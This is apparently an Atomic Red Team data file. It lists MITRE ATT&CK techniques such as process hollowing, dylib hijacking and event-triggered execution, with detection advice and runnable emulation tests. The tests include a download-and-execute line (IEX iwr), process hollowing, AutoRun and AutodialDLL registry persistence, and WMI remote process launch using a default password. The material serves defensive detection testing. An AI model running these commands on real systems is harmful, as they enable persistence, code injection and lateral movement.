"x_mitre_remote_support": true, - "identifier": "T1053.006" - }, - "atomic_tests": [] - }, - "T1157": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1157", - "url": "https://attack.mitre.org/techniques/T1157" - }, - { - "external_id": "CAPEC-471", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/471.html" - }, - { - "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", - "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", - "source_name": "Writing Bad Malware for OSX" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", - "source_name": "Malware Persistence on OS X" - } - ], - "modified": "2021-03-30T00:51:57.919Z", - "name": "Dylib Hijacking", - "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_effective_permissions": [ - "Administrator", - "root" - ] - }, - "atomic_tests": [] - }, - "T1574": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", - "created": "2020-03-12T20:38:12.465Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574", - "url": "https://attack.mitre.org/techniques/T1574" - }, - { - "source_name": "Autoruns for Windows", - "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", - "modified": "2022-05-05T04:07:01.191Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Hijack Execution Flow", - "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Service: Service Metadata", - "Module: Module Load", - "File: File Modification", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification", - "File: File Creation", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1078": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Syed Ummar Farooqh, McAfee", - "Prasad Somasamudram, McAfee", - "Sekhar Sarukkai, McAfee ", - "Jon Sternstein, Stern Security", - "Yossi Weizman, Azure Defender Research Team", - "Netskope", - "Mark Wee", - "Praetorian" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", - "created": "2017-05-31T21:31:00.645Z", - "x_mitre_version": "2.4", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1078", - "url": "https://attack.mitre.org/techniques/T1078" - }, - { - "source_name": "CISA MFA PrintNightmare", - "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a", - "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022." - }, - { - "source_name": "TechNet Credential Theft", - "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx", - "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016." - }, - { - "source_name": "TechNet Audit Policy", - "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016." - }, - { - "url": "https://capec.mitre.org/data/definitions/560.html", - "source_name": "capec", - "external_id": "CAPEC-560" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", - "modified": "2022-05-05T04:55:21.981Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Valid Accounts", - "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "User Account: User Account Authentication", - "Logon Session: Logon Session Creation", - "Logon Session: Logon Session Metadata" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_effective_permissions": [ - "User", - "Administrator" - ], - "x_mitre_defense_bypassed": [ - "Firewall", - "Anti-virus", - "Host Intrusion Prevention Systems", - "Network Intrusion Detection System", - "Application Control", - "System Access Controls" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1055.012": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", - "type": "attack-pattern", - "created": "2020-01-14T17:21:54.470Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.012", - "url": "https://attack.mitre.org/techniques/T1055/012" - }, - { - "url": "http://www.autosectools.com/process-hollowing.pdf", - "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.", - "source_name": "Leitch Hollowing" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "source_name": "Nviso Spoof Command Line 2020", - "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/", - "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021." - }, - { - "source_name": "Mandiant Endpoint Evading 2019", - "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode", - "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021." - } - ], - "modified": "2021-11-29T17:22:32.704Z", - "name": "Process Injection: Process Hollowing", - "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Access", - "Process: OS API Execution", - "Process: Process Modification" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1055.012" - }, - "atomic_tests": [ - { - "name": "Process Hollowing using PowerShell", - "auto_generated_guid": "562427b4-39ef-4e8c-af88-463a78e70b9c", - "description": "This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.\nCredit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "hollow_binary_path": { - "description": "Path of the binary to hollow (executable that will run inside the sponsor)", - "type": "string", - "default": "C:\\Windows\\System32\\cmd.exe" - }, - "parent_process_name": { - "description": "Name of the parent process", - "type": "string", - "default": "explorer" - }, - "sponsor_binary_path": { - "description": "Path of the sponsor binary (executable that will host the binary)", - "type": "string", - "default": "C:\\Windows\\System32\\notepad.exe" - }, - "spawnto_process_name": { - "description": "Name of the process to spawn", - "type": "string", - "default": "notepad" - } - }, - "executor": { - "command": ". $PathToAtomicsFolder\\T1055.012\\src\\Start-Hollow.ps1\n$ppid=Get-Process #{parent_process_name} | select -expand id\nStart-Hollow -Sponsor \"#{sponsor_binary_path}\" -Hollow \"#{hollow_binary_path}\" -ParentPID $ppid -Verbose\n", - "cleanup_command": "Stop-Process -Name \"#{spawnto_process_name}\" -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "RunPE via VBA", - "auto_generated_guid": "3ad4a037-1598-4136-837c-4027e4fa319b", - "description": "This module executes notepad.exe from within the WINWORD.EXE process\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "ms_product": { - "description": "Maldoc application Word", - "type": "string", - "default": "Word" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft #{ms_product} must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Exploit\"\n", - "name": "powershell" - } - } - ] - }, - "T1068": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", - "Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security", - "Idan Revivo, @idanr86, Team Nautilus Aqua Security" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", - "type": "attack-pattern", - "created": "2017-05-31T21:30:55.066Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1068", - "url": "https://attack.mitre.org/techniques/T1068" - }, - { - "source_name": "ESET InvisiMole June 2020", - "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020." - }, - { - "source_name": "Unit42 AcidBox June 2020", - "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", - "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021." - }, - { - "source_name": "Microsoft Driver Block Rules", - "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", - "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021." - } - ], - "modified": "2021-04-22T16:13:34.896Z", - "name": "Exploitation for Privilege Escalation", - "description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.", - "x_mitre_version": "1.3", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Driver: Driver Load" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_effective_permissions": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1546": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", - "type": "attack-pattern", - "created": "2020-01-22T21:04:23.285Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546", - "url": "https://attack.mitre.org/techniques/T1546" - }, - { - "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", - "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", - "source_name": "FireEye WMI 2015" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", - "source_name": "Malware Persistence on OS X" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/", - "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.", - "source_name": "amnesia malware" - } - ], - "modified": "2022-02-08T16:39:09.283Z", - "name": "Event Triggered Execution", - "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Process: Process Creation", - "File: File Metadata", - "File: File Modification", - "File: File Creation", - "Module: Module Load", - "WMI: WMI Creation", - "Command: Command Execution" - ], - "identifier": "T1546" - }, - "atomic_tests": [ - { - "name": "Persistence with Custom AutodialDLL", - "auto_generated_guid": "aca9ae16-7425-4b6d-8c30-cad306fdbd5b", - "description": "The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. \n\nThe sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.\n[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)\n", - "supported_platforms": [ - "windows" - ], - "dependencies": [ - { - "description": "AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\n", - "prereq_command": "if (Test-Path PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll) { exit 0} else { exit 1}\n", - "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1546\\bin\\\" -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll\" -OutFile \"PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\"\n" - } - ], - "executor": { - "command": "Set-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\n", - "cleanup_command": "Set-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters -Name AutodialDLL -Value $env:windir\\system32\\rasadhlp.dll", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)", - "auto_generated_guid": "a574dafe-a903-4cce-9701-14040f4f3532", - "description": "An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.\n[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command": { - "description": "Command to Execute", - "type": "string", - "default": "notepad.exe" - } - }, - "executor": { - "command": "New-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"", - "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -ErrorAction Ignore", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)", - "auto_generated_guid": "36b8dbf9-59b1-4e9b-a3bb-36e80563ef01", - "description": "An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.\n[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command": { - "description": "Command to Execute", - "type": "string", - "default": "notepad.exe" - } - }, - "executor": { - "command": "$path = \"HKCU:\\Software\\Microsoft\\Command Processor\"\nif (!(Test-Path -path $path)){\n New-Item -ItemType Key -Path $path\n}\nNew-ItemProperty -Path $path -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"", - "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -ErrorAction Ignore", - "name": "powershell" - } - }, - { - "name": "WMI Invoke-CimMethod Start Process", - "auto_generated_guid": "adae83d3-0df6-45e7-b2c3-575f91584577", - "description": "The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod.\nThis is a novel way to perform lateral movement or to start a remote process.\nThis does require WinRM to be enabled. The account performing the run will also need to be elevated.\nA successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dest": { - "description": "destination computer name", - "type": "string", - "default": "localhost" - }, - "password": { - "description": "password for account", - "type": "string", - "default": "P@ssword1" - }, - "username": { - "description": "account to use", - "type": "string", - "default": "Administrator" - }, - "process": { - "description": "process to spawn", - "type": "string", - "default": "calc.exe" - } - }, - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "# Set the remote computer name and credentials\n $RemoteComputer = \"#{dest}\"\n $PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\n\n # Create a CIM session\n $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential\n\n # Define the process you want to start\n $ProcessToStart = \"#{process}\"\n\n # Invoke the Create method on the Win32_Process class to start the process\n $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}\n\n # Check the result\n if ($Result.ReturnValue -eq 0) {\n Write-Host \"Process started successfully with Process ID: $($Result.ProcessId)\"\n } else {\n Write-Host \"Failed to start the process. Error code: $($Result.ReturnValue)\"\n }\n\n # Clean up the CIM session\n 